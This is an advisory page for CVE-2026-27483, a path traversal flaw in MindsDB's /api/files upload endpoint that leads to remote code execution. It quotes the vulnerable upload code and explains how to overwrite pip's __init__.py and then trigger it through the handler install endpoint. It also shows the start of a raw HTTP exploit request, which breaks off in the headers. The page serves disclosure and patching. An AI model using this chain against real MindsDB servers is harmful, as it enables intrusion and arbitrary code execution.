Advisoriesby IbisMindsDB: Path Traversal in /api/files Leading to Remote Code Execution
Summary
There is a path traversal vulnerability in Mindsdb's /api/files interface, which an authenticated attacker can exploit to achieve remote command execution.
Details
The vulnerability exists in the "Upload File" module, which corresponds to the API endpoint /api/files. The affected code is located at mindsdb/api/http/namespaces/file.py:
```python
@ns_conf.route("/<name>")
@ns_conf.param("name", "MindsDB's name for file")
class File(Resource):
@ns_conf.doc("put_file")
@api_endpoint_metrics('PUT', '/files/file')
def put(self, name: str):
"""add new file
params in FormData:
- file
- original_file_name [optional]
"""
data = {}
mindsdb_file_name = name
existing_file_names = ca.file_controller.get_files_names()
def on_field(field):
name = field.field_name.decode()
value = field.value.decode()
data[name] = value
file_object = None
def on_file(file):
nonlocal file_object
data["file"] = file.file_name.decode()
file_object = file.file_object
temp_dir_path = tempfile.mkdtemp(prefix="mindsdb_file_")
if request.headers["Content-Type"].startswith("multipart/form-data"):
parser = multipart.create_form_parser(
headers=request.headers,...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| mindsdb PyPI | < 25.9.1.1 | 25.9.1.1 |
Details and references
### Summary There is a path traversal vulnerability in Mindsdb's /api/files interface, which an authenticated attacker can exploit to achieve remote command execution. ### Details The vulnerability exists in the "Upload File" module, which corresponds to the API endpoint /api/files. The affected code is located at mindsdb/api/http/namespaces/file.py: ```python @ns_conf.route("/<name>") @ns_conf.param("name", "MindsDB's name for file") class File(Resource): @ns_conf.doc("put_file") @api_endpoint_metrics('PUT', '/files/file') def put(self, name: str): """add new file params in FormData: - file - original_file_name [optional] """ data = {} mindsdb_file_name = name existing_file_names = ca.file_controller.get_files_names() def on_field(field): name = field.field_name.decode() value = field.value.decode() data[name] = value file_object = None def on_file(file): nonlocal file_object data["file"] = file.file_name.decode() file_object = file.file_object temp_dir_path = tempfile.mkdtemp(prefix="mindsdb_file_") if request.headers["Content-Type"].startswith("multipart/form-data"): parser = multipart.create_form_parser( headers=request.headers, on_field=on_field, on_file=on_file, config={ "UPLOAD_DIR": temp_dir_path.encode(), # bytes required "UPLOAD_KEEP_FILENAME": True, "UPLOAD_KEEP_EXTENSIONS": True, "MAX_MEMORY_FILE_SIZE": 0, }, ) while True: chunk = request.stream.read(8192) if not chunk: break parser.write(chunk) parser.finalize() parser.close() if file_object is not None: if not file_object.closed: try: file_object.flush() except (AttributeError, ValueError, OSError): logger.debug("Failed to flush file_object before closing.", exc_info=True) file_object.close() file_object = None else: data = request.json ``` Since the multipart file upload does not perform security checks on the uploaded file path, an attacker can perform path traversal by using ../ sequences in the filename field. The file write operation occurs before calling clear_filename and save_file, meaning there is no filtering of filenames or file types, allowing arbitrary content to be written to any path on the server. ### PoC This vulnerability can be exploited to overwrite existing executable files, which retain their executable permissions after being overwritten. In addition to conventional file upload exploitation methods, we provide a way to achieve Remote Code Execution (RCE) by leveraging MindsDB's own functionality. The API endpoint /<handler_name>/install is used to install handlers, which internally calls install_dependencies to install dependencies via pip. This function executes pip using subprocess.Popen. Therefore, an attacker can: 1. Exploit the vulnerability to overwrite /venv/lib/python3.10/site-packages/pip/__init__.py with a malicious Python script. 2. Trigger the execution of the malicious script by calling /<handler_name>/install, which invokes pip. Exploit： ``` PUT /api/files/mm HTTP/1.1 Host: ip:47334 Content-Length: 579 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: application/json, text/plain, */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9 Origin: http://ip:47334 Referer: http://ip:47334/fileUpload Accept-Encoding: gzip, deflate, br Accept-Language: z
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-22
- Also known as
- CVE-2026-27483, PYSEC-2026-2205
More MindsDB advisories
All MindsDB
MindsDB has an Improper Access Control IssueCVE-2026-7711no fix yetMindsDB affected by a SSRF vulnerabilityCVE-2026-2531no fix yetMindsDB has improper sanitation of filepath that leads to information disclosure and DOSCVE-2025-68472fixed in 25.11.1MindsDB Cross-site Scripting vulnerabilityCVE-2024-45856no fix yetMindsDB Deserialization of Untrusted Data vulnerabilityCVE-2024-45854no fix yetMindsDB Deserialization of Untrusted Data vulnerabilityCVE-2024-45852no fix yet